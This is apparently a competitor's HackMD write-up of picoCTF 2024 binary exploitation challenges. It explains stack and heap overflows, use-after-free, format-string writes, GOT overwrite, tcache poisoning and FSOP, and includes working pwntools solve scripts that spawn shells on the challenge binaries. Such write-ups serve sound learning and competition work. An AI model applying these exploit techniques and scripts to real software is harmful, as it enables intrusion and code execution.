Try   HackMD

picoCTF 2024 - Binary Exploitation Challenges

format string 0

Description

Can you use your knowledge of format strings to make the customers happy?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

This is an introduction of format string vulnerabilities. Look up "format specifiers" if you have never seen them before.
Just try out the different options

Solution

Analyze the source code provided. The main function loads the flag into memory.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

It then calls the serve_patrick() function where we have to pass some checks. If we do, serve_bob() is called.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

There is a bug here. The scanf function has %s as a format specifier. This is a VERY dangerous function. It can read an arbitrary number of bytes into an array with a fixed length: a buffer overflow.

If scanf reads too many characters, it can start to overwrite key sections of the stack. Some very important values on the stack are the previous stack frame's rbp (which keeps track of where the previous stack frame is), and the instruction pointer to return to after a function needs to return.

If we put garbage values, we can overwrite both of these values, and cause the function to try to execute code where we want it to.

Luckily for us, there is a function that prints out the flag if there is a segfault:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

So if we overwrite the instruction pointer to point to an invalid address, the program will crash and the flag will be printed.

Let's try it:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

heap 0

Description

Are overflows just a stack concern?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

What part of the heap do you have control over and how far is it from the safe_var?

Solution

Analyze the source code. There are two heap chunks allocated: safe_var and input_data.

We can edit the contents of input_data with this function:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

There is a bug here. scanf() is called with the "%s" specifier which allows an arbitrary amount of data to be read.

To print the flag, we need to somehow edit safe_var.

Now, in order to understand how to edit safe_var, we have to talk a little bit about how the heap works.

The heap is initialized whenever malloc() is called. It then allocates a chunk in the heap with a certain size. If we want to allocate more, more chunks are added right after the chunks in use.

Because we have an overflow, if we write a lot of data into input_data, it will overflow into the heap chunk for safe_var.

Lets try it:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Nice! We overflowed the input_data heap chunk and started to write into the safe_var heap chunk. Lets print the flag:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

format string 1

Description

Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest!
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

https://lettieri.iet.unipi.it/hacking/format-strings.pdf
Is this a 32-bit or 64-bit binary?

Solution

Analyze the source code. It first loads in three text files into memory, one of which is the flag.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Then, it scans in input (safely this time), and calls printf() on only the user input.

This is unsafe. printf() takes the first argument as the format specifier. If we can control the format specifier, we can start to read arbitrary data off of the stack.

For example, if we call printf("%p", buf), printf() will take the value of buf, and print it out. However, if we call just printf("%p"),printf() will take the value of the next parameter even though we don't control it. We can chain a bunch of "%p"s to start to dump the stack and hopefully read the flag.

Lets try it:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Now, we just have to convert this back into readable text. Putting it into CyberChef we get this:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

The flag is there, but it's a little messed up due to endianness. Cleaning it up, we get this:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

heap 1

Description

Can you control your overflow?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

How can you tell where safe_var starts?

Solution

Analyze the source code. This is very similar to heap 0. However, in order to print the flag, we have to overwrite safe_var to a specific value: pico.

To find out when we stop writing into input_data and start writing into safe_var, we can input AAAAAAAABBBBBBBBCCCCCCC and so on. We do 8 characters of each letter because 64 bit binaries are based on 8 byte long words.

Trying this and printing the heap, we get this:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

safe_var now contains "EEEEEEEEFFFFFFFF", which means after 4*8=32 bytes, we start to write into safe_var.
We can replace "EEEEE" with "pico" and hopefully set safe_var to pico.

Lets try it:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Nice! Print the flag.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

heap 2

Description

Can you handle function pointers?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

Are you doing the right endianness?

Solution

Analyze the source code. This challenge is similar to heap 1. However, to print the flag, we have to call a function win() that isnt called anywhere. The check_win() function instead calls the function pointed to by the value in safe_var. So instead of overwriting safe_var with pico, we have to overwrite it with the address of win().

We can find this address through GDB. Loading the program into GDB and running it, we pause. We can print the address of win() with the command p win.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

So, we have to overwrite the value of safe_var to become 0x4011a0. We can't just put 4011a0 into our previous solution however. We have to write the exact bytes, not the hexadecimal representation. We can do this easily with pwntools.

The p64() function in pwntools lets us turn any address into the raw bytes. So, to solve it, we send 32 garbage bytes and then append p64(0x4011a0). This should overwrite safe_var with the address of the win() function, and running check_win() should call win(), printing the flag.

Lets try it:

image

\xa0\x11@ does correspond to an address of 0x4011a0 (0x40 is "@" in ASCII). Lets print the flag to call win!

image

Here is the solve script:

#!/usr/bin/env python3 from pwn import * e = ELF("./chall") context.binary = e context(terminal=["tmux", "split-window", "-h"]) # gdb.attach(p) for a bkpt def conn(): if args.REMOTE: p = remote("mimas.picoctf.net", PORT) else: p = process([e.path]) return p p = conn() win = 0x4011a0 payload = b"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD" payload += p64(win) p.sendlineafter(b"choice: ", b"2") p.sendlineafter(b"buffer: ", payload) p.interactive()

heap 3

Description

This program mishandles memory. Can you exploit it to get the flag?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

Check out "use after free"

Solution

Analyze the source code. It initially mallocs a struct x, and stores "bico" in one of the variables. To print the flag, we have to overwrite "bico" to "pico".

We can free x, and we can malloc chunks and control the size of those chunks. A heap overflow isn't going to work here. When we allocate a new chunk, it will be placed after x.

When chunks are freed, if they are small enough (which x is), they will be placed in a tcache bin. Programming languages want to be fast. A consequence of this is shown through memory allocations and freeing. The tcache bin is a list of previously freed chunks. The data in these chunks isn't really modified after it is freed. When a chunk needs to be allocated again, it searches through the tcache bin. If there is already a freed chunk in the tcache bin, it just returns that chunk.

The problem occurs when the freed chunk is still in use, called a use after free vulnerability. The x chunk can be freed, but if we can get it back after its freed, we can overwrite "bico" to "pico" because two pointers now point towards x, x itself and the pointer gotten from creating a new allocation. We can edit the chunk through that new pointer, and the program will check the x object to see if "pico" is there.

Here is the heap state at the beginning of the program:

image

If we free x, the heap now looks like this:

image

x has been freed, and the chunk pointed to by x is now in a tcache bin.

We have to allocate a chunk with the same size as x because there is a separate tcache bin for each chunk size. This can be calculated with the sizes of the buffers in the struct: 10+10+10+5=35 bytes. Once we allocate a chunk of size 35, we should control x.

To test if we control x, lets input 30 garbage bytes, then append "pico" to the end.

image

image

Nice! "bico" has been overwritten to become "pico". Lets print the flag.

image

format string 2

Description

This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack!
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

pwntools are very useful for this problem!

Solution

Analyze the source code. The program takes in input, then calls printf(buf). This is a bug, as it treats our input as a format specifier.

We can abuse this to be able to write to any address we want. The "%n" format specifier writes the number of characters already printed to the address pointed to by the next parameter.

printf("AAAA%n", count) would write 4 to the variable count because four As were printed, then the "%n" specifier was used.

If our input is stored on the stack, we could write an address at the beginning of our input, then select that address to write to.

We can find the offset by inputting "AAAAAAAA", then a bunch of "%p"s. Count the number of pointers printed until 0x4141414141414141 is printed. That is the offset.

Lets find the offset:

image

Because the 14th pointer printed is 0x4141414141414141, our offset is 14.

To print the flag, we have to overwrite the sus variable with the value 0x67616c66. We have to find the address of sus. Lets look in gdb:

image

So we have to write to 0x404060. pwntools has a very useful tool for creating format string exploits: fmtstr_payload().

We create a dictionary of writes:

image

Then, we can create the format string exploit payload with fmtstr_payload(offset, writes). Our offset is 14, so:

image

Lets run the script:

image

Here is the solve script:

#!/usr/bin/env python3 from pwn import * e = ELF("./vuln") context.binary = e context(terminal=["tmux", "split-window", "-h"]) # gdb.attach(p) for a bkpt def conn(): if args.REMOTE: p = remote("rhea.picoctf.net", PORT) else: p = process([e.path]) return p p = conn() sus = 0x404060 val = 0x67616c66 writes = {sus: val} payload = fmtstr_payload(14, writes) p.recvuntil(b"say?\n") p.sendline(payload) p.interactive()

format string 3

Description

This program doesn't contain a win function. How can you win?
Download the binary here.
Download the source here.
Download libc here, download the interpreter here. Run the binary with these two files present in the same directory.
Additional details will be available after launching your challenge instance.

Hints

Is there any way to change what a function points to?

Solution

Check protections on the binary.

image

Partial RELRO and no PIE, so we probably have to overwrite the GOT.

Analyze source code. It prints out a libc leak, takes input, then calls printf(buf). It then calls puts(normal_string) where normal_string is actually "/bin/sh".

What we have to do is overwrite the GOT entry of puts() with system() so we can call system("/bin/sh") to get a shell. We can find the address to overwrite with GDB:

image

We can also use GDB to find the offsets to subtract by to get to system. The libc leak is 0x7A3F0 bytes above the base of libc, and system is 0x4F760 above the base of libc.

We use the same trick we used in format string 2 to find the offset for the fmtstr_payload() tool in pwntools, we get 38 this time.

Lets write the script and try it:

image

Theres our shell!

Here is the solve script:

#!/usr/bin/env python3 from pwn import * e = ELF("./format-string-3") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = e context(terminal=["tmux", "split-window", "-h"]) # gdb.attach(p) for a bkpt def conn(): if args.REMOTE: p = remote("rhea.picoctf.net", PORT) else: p = process([e.path]) return p p = conn() p.recvuntil("libc: ") leak = int(p.recvline()[:-1],16) libc_base = leak - 0x7A3F0 print(f"libc base = {hex(libc_base)}") system = libc_base + 0x4F760 writes = {0x404018:system} payload = fmtstr_payload(38, writes) p.sendline(payload) p.interactive()

babygame03

Description

Break the game and get the flag.
Welcome to BabyGame 03! Navigate around the map and see what you can find! Be careful, you don't have many moves. There are obstacles that instantly end the game on collision. The game is available to download here. There is no source available, so you'll have to figure your way around the map.
Additional details will be available after launching your challenge instance.

Hints

Use 'w','a','s','d' to move around.
There may be secret commands to make your life easy.

Solution

Analysis

Check security on the binary:

image

32 bit, partial RELRO, no PIE

No source is provided, so open it in Ghidra and run the program.

It seems to be a simple maze game with lives. We start out with 50 lives, and the goal seems to be to make it to the "X" character.

image

Every time we move, we lose a life, so we can't make it to the X.

Looking at Ghidra, this is the decompiled main:

image

So it looks like we want to get to the win function. I'm assuming local_ab0 and local_aac control the player's position, and local_ab4 and local_14 track the level (because they are incremented every time the next level starts).

win is called with the local_ab4 variable. Lets see what it does with that:

image

Ok, so local_ab4 has to be 5 for the flag to be printed. So in order to win, we just get to level 5, right? Except we can't. When we're at level 4, we cannot get to the next level because of the first if statement in main.

Lets look at move_player(), if theres a bug, its probably in there.

image

Interesting, theres a "p" command that solves the maze automatically, and theres an "l" command that changes our tile to the next character.

image

The bug is here. When we move, it doesnt check to see if the player coordinates are in bounds, and just sets the expected next position to be the player tile (It also sets the previous position to 0x2e, or a ".").

Exploiting

So, we should have a one byte write to portions of the stack. But is there anything useful to overwrite? Lets use GDB and see.

image

Notice the "0x2e2e2e". Thats probably where the map is, but the values before it look interesting. 0x4 and 0x4 are probably the player coordinates (we start at (4,4)), 0x1 could be the level number, and most importantly, 0x32 is 50 which is our number of lives left. Lets see if we can go before the map and start to overwrite some values.

If we move to the top left of the map and move left past the bounds of the map, we should warp to the top right. From there, lets move up one and see what happens:

image

The value at 0xffffc33c turned from 0x23000000 to 0x23400000. 0x40 is the same as "@", our player tile. Lets keep moving left to see if we can overwrite our lives.

image

image

Sweet! We now have pretty much infinite lives! I next thought to overwrite our level variable with 0x5, but when we move, the value gets overwritten with 0x2e. That wont work. What if we try to overwrite the stored eip pointer?

image

Ok, nice. We have a somewhat limited control over the instruction pointer. Lets look at useful addresses.

The only useful byte to overwrite is probably going to be the least significant byte (in 0x804992c, the 0x2c). That unfortunately doesnt cover the win() function, but it does cover the call to win() in the main function (0x80499fe). It also covers the logic after a level is "beat" that increments the level variable (0x8049970).

So, if we get to level four by editing our lives and running the "p" command to solve the maze, then edit the eip to jump to the code that increments our level, and then jump again to the win() call in main, we should pass the checks and print the flag!

Lets try it:

image

Nice! We're on level 5, and if we move up, we should jump to the win() call in main!

image

Uh oh, something didn't work. This took me a bit, but I realized that by returning to the middle of main, we messed up some things in the stack and we have to find the correct offset again. This is pretty easy to do though. Lets try our fixed exploit:

image

Lets move up:

image

Here is the full solve script:

#!/usr/bin/env python3 from pwn import * e = ELF("./game") context.binary = e context(terminal=["tmux", "split-window", "-h"]) # gdb.attach(p) for a bkpt def conn(): if args.REMOTE: p = remote("rhea.picoctf.net", PORT) else: p = process([e.path]) return p p = conn() payload = b"aaaaaaaawwwwsp"*3 # get to level 4 payload += b"aaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal" # get to level 5 payload += b"\x70" payload += b"w" payload += b"l@aaaaaaaawwwwsl\xfe" payload += b"a"*63 #gdb.attach(p) p.sendline(payload) p.interactive()

high frequency troubles

Description

Download the binary here.
Download the source here.
Download libc here.
Additional details will be available after launching your challenge instance.

Hints

allocate a size greater than mp_.mmap_threshold

Solution

Analysis

libc version is 2.35.

Check security on the binary.

image

Source is provided, so analyze the source code.

There is a custom print function, but there aren't any vulnerabilities in it.

image

The program reads data in in this format:

[Size - 8 bytes]
[[Option - 8 bytes] [Data 0-X bytes]]

It then mallocs a chunk of the size provided. The size is scanned with fread, so a size of "10" would correspond to a size of 0x3031, or 12337 bytes, not 10. This value is then copied into the first 8 bytes of the chunk. When it reads the next chunk of data, it uses the unsafe function gets().

It then looks at the second 8 bytes of data. If it is 0x0, it uses the custom print function to print "PONG_OK". If it is 0x1, it prints out all of the data after the first two quadwords using printf("%s"). Else, it just prints "E_INVAL".

First attempts

First, I thought to look into the hint provided. The program doesn't check to see if we allocate a huge chunk. If we allocate a large enough chunk, we will actually call mmap to create a new memory region. This is actually placed in a predictable location, right before libc in memory.

I looked into seeing if I could overwrite portions of libc, but the first memory region is read only, so that wouldn't work.

However, there is still some important data in this region. Right before libc, there is a region called the thread local storage which holds some important data. I thought that it could be possible to do some exploits or to get at least a libc leak, but unfortunately, this didn't lead anywhere. gets() always adds a null byte to the end, and since we are printing our data with printf("%s"), we cant print any extra data because our string is properly null terminated.

This is actually where I got stuck for a long time, and I moved away from this approach (even though the hint was pointing towards this).

free() with no free

Another way to get a leak is by abusing use after frees. Unfortunately, the binary doesn't call free once. However, because we do have a heap overflow, it is possible to corrupt the heap and force a free.

The old House of Orange exploit, although now patched, explains how to do this.

Whenever the top chunk size isn't large enough when allocating a new chunk, the size of the heap is expanded with a syscall, and the old top chunk is freed. This can be exploited if we can overwrite the size of the top chunk (for example from 0x20100 to 0x100), then allocate a chunk with a larger size than the top chunk's size (for example, allocate a chunk of size 0x1000). This will cause a chunk of size 0x100 to be freed, and placed in a bin.

There are some checks before the chunk is freed. The big one is that the top chunk still has to be page aligned, but as long as we dont modify the last three nibbles, we should be good.

The other parts of the House of Orange exploit are the ones that have been patched, but we don't really need them.

Lets see if we can get a chunk in the unsorted bin without ever calling free!

Lets allocate a chunk of size 352 to make the top chunk end in a nice value.

image

So, lets overwrite the top chunk size with 0xc01 instead.

image

Ok, lets allocate a large chunk now!

image

Nice! It worked! Lets allocate a chunk now so we can print the libc leak!
Wait
We can only print out data starting from after the first two quadwords.
Darn!!!

Well, maybe we can get a heap leak? If we allocate a chunk, the unsorted bin chunk will be sorted into the largebin and some heap pointers will be placed in the next two quadwords!

image

Darn it!!!
The heap pointer ends in a null byte, so when we try to print it, printf will see the null byte first and wont print any bytes of the address!

Once again, I got stuck here for a bit. I tried a couple of things, but when I randomly tried to get two chunks into the largebin:

image

Huh. That worked? Well, it looks like we have a heap leak now! We won't have any problems printing out this address since it starts at the third quadword of the chunk and it doesn't contain any null bytes!

Getting a libc leak

Ok, so now we have:

  1. Heap overflow
  2. Ability to free any* size chunk we want
  3. Heap leak

(We can really free any size below 0xfff, but we wont need anything larger.)

Recognize this?

We can do tcache poisoning! We have the heap leak to defeat protections, we can free small chunks, and we can overwrite the fd pointers of these chunks if they're in the tcache!

But what can we do with tcache poisoning? We only have a heap leak, so we can get an arbitrary pointer in the heap. However, we can use this to get a libc leak!

We had the issue of not being able to print out a libc pointer because it was before the third quadword in a chunk. What if we allocate a chunk 16 bytes before the pointer though? We shouldn't have any problem printing out the libc leak!

Ok, so lets allocate and free some smaller chunks, and see if they go into the tcache.

image

Nice! So if we allocate another chunk and overwrite the first chunk's fd pointer with an address before a libc pointer, we should be able to print it!

When I tried this, it didnt work though. It took me a bit, but I realized that libc added protections to the tcache bin that keeps track of how many chunks are in it. If I overwrite the first chunk, the third chunk to be taken from the tcache should be my pointer, but libc actually keeps track of how many chunks are in the tcache bin, and refuses to allocate if it is 0.

This is an easy fix thankfully. If we allocate a different sized chunk between the two chunks, we can overwrite the second tcache chunk instead, and bypass this protection.

Lets try it:

image

Nice! So if we allocate a chunk of size 0x3e0, we can overwrite the fd pointer of the chunk in the other tcache bin. Lets do it, making sure to account for the pointer encryption:

image

Nice! When we allocate a second chunk from the tcache bin, we should actually get a pointer to right before the libc pointer and we can print it out!

image

And theres our libc leak!

Getting a shell

Ok, since we just did tcache poisoning, and we just got a libc leak, it should be pretty easy from here on out.

The libc version is 2.35, so the malloc and free hooks won't work for us. Instead, we can overwrite stdout and call system("/bin/sh") because of the printf() call (FSOP). Thankfully, pwntools makes this super easy for us with the FileStructure object.

I used this writeup as a template. We need to find a "add rdi,0x10; jmp rcx" gadget, the address of system, the address of _IO_stdfile_1_lock, _IO_wfile_jumps, and the address of stdout, all of which is trivial with a libc leak.

Running this, making sure to allocate 0x10 bytes before stdout, we should get a shell:

image

:)

Here's my final solve script for this challenge (its a little messy sorry lol):

#!/usr/bin/env python3 from pwn import * e = ELF("./hft_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.35.so") context.binary = e context(terminal=["tmux", "split-window", "-h"]) # gdb.attach(p) for a bkpt def conn(): if args.REMOTE: p = remote("tethys.picoctf.net", 55478) else: p = process([e.path]) return p p = conn() p.recvuntil(b"RES]\n") p.sendline(p64(0x400-16-0x290)+p64(0x1)+b"A"*(0x400-16-0x290-0x8)+p64(0xc01)+b"A"*128) #overwrite top chunk size p.sendline(p64(0x1000)+p64(0x1)+b"B"*0xff8+p64(0x10ff1)) #cause free; overwrite top chunk size p.sendline(p64(0x100)+p64(0x1)+b"C"*0xf7) p.sendline(p64(0x15000)+p64(0x1)+b"D"*0x1000) #cause free p.sendline(p64(0x1b-0x8)+b"\x01\x00\x00\x00\x00\x00\x00") #leak heap p.sendline(p64(0x10cf0)+p64(0x1)+b"E"*0x100) # filler p.sendline(p64(0xcf0-0x10)+p64(0x1)+b"F"*0xcd8+p64(0x301)) # filler and overwrite top chunk p.sendline(p64(0x1000)+p64(0x1)+b"G"*0x100) # free into tcache (tcache 1 free 1) p.sendline(p64(0xbf0-0x10)+p64(0x1)+b"H"*0xbd8+p64(0x401)) # filler and overwrite top chunk p.sendline(p64(0x1000)+p64(0x1)+b"I"*0x100) # free into tcache (tcache 2 free 1) p.sendline(p64(0xcf0-0x10)+p64(0x1)+b"J"*0xcd8+p64(0x301)) # filler; overwrite top chunk p.sendline(p64(0x1000)+p64(0x1)+b"K"*0x100) # free into tcache (tcache 1 free 2) p.recvline() p.recvline() p.recvline() p.recvline() p.recvline() p.recvline() p.recvline() p.recvline() p.recvuntil(b"[m:[") leak = p.recvuntil(b"]\n", drop=True) heap_base = (u64(leak.ljust(8,b"\x00")) >> 12) << 12 print(f"heap base = {hex(heap_base)}") target = heap_base + 0x530 # - 0x10 print(f"target = {hex(target)}") b_addr = heap_base + 0x87D10 target_enc = ((target ^ b_addr >> 12)) # defeat heap pointer xoring thing p.sendline(p64(0x3d8)+p64(0x1)+b"L"*0x3c8+p64(0x11)+p64(0)+p64(0x11)+b"L"*0x20000+p64(0x1011)+p64(0x1000)+p64(0x1)+b"L"*0x108+p64(0)*479+p64(0xcf1)+p64(0xce0)+p64(0x1)+b"L"*0xCD8+p64(0x2e1)+p64(target_enc)) # corrupt tcache chunk p.sendline(p64(0x2d8)+b"\x01\x00\x00\x00\x00\x00\x00\x00"+b"Z"*0x10) # filler p.sendline(p64(0x2d8)+b"\x01\x00\x00\x00\x00\x00\x00") # leak libc pointer p.recvuntil(b"\x11]\n") p.recvline() p.recvline() p.recvline() p.recvuntil(b"[m:[") leak = u64(p.recvuntil(b"]\n", drop=True).ljust(8, b"\x00")) libc_base = leak - 0x21A270 print(f"libc leak = {hex(leak)}") print(f"libc base = {hex(libc_base)}") system = libc_base + 0x50D60 stdout = libc_base + 0x21A780 stdout_lock = libc_base + 0x21BA70 fake_vtable = libc_base + 0x2160C0 - 0x18 gadget = libc_base + 0x163850 print(f"system = {hex(system)}") print(f"stdout = {hex(stdout)}") print(f"gadget = {hex(gadget)}") fake = FileStructure(0) fake.flags = 0x3b01010101010101 fake._IO_read_end = system # call system fake._IO_save_base = gadget fake._IO_write_end = u64(b'/bin/sh\x00') fake._lock = stdout_lock fake._codecvt = stdout + 0xb8 fake._wide_data = stdout+0x200 fake.unknown2 = p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable) payload = p64(0x0) # filler payload += bytes(fake) p.sendline(p64(0xcf0-0x10)+p64(0x1)+b"M"*0xcd8+p64(0x301)) # filler and overwrite top chunk p.sendline(p64(0x1000)+p64(0x1)+b"N"*0x100) # free into tcache (tcache 1 free 1) p.sendline(p64(0xbf0-0x10)+p64(0x1)+b"O"*0xbd8+p64(0x401)) # filler and overwrite top chunk p.sendline(p64(0x1000)+p64(0x1)+b"P"*0x100) # free into tcache (tcache 2 free 1) p.sendline(p64(0xcf0-0x10)+p64(0x1)+b"Q"*0xcd8+p64(0x301)) # filler; overwrite top chunk p.sendline(p64(0x1000)+p64(0x1)+b"R"*0x100) # free into tcache (tcache 1 free 2) b_addr = heap_base + 0xEDD10 target = stdout - 0x10 target_enc = ((target ^ b_addr >> 12)) p.sendline(p64(0x3d8)+p64(0x1)+b"L"*0x3c8+p64(0x11)+p64(0)+p64(0x11)+b"L"*0x20000+p64(0x1011)+p64(0x1000)+p64(0x1)+b"L"*0x108+p64(0)*479+p64(0xcf1)+p64(0xce0)+p64(0x1)+b"L"*0xCD8+p64(0x2e1)+p64(target_enc)) # corrupt tcache chunk p.sendline(p64(0x2d8)+b"\x01\x00\x00\x00\x00\x00\x00\x00"+b"Z"*0x10) # filler p.sendline(p64(0x2d8)+payload) # overwrite stdout, pray p.recvuntil(b"ZZZZ]\n") # here we go! p.interactive()

Notes:

This was probably an unintended solution, but I still really enjoyed this challenge. It really forced me to get familiar with the heap and how exactly the bins work. I am a little curious what the (probably) intended solution is though.

(thanks to my teammates zaxia and bever209 who forced me to work on hft until i got it :))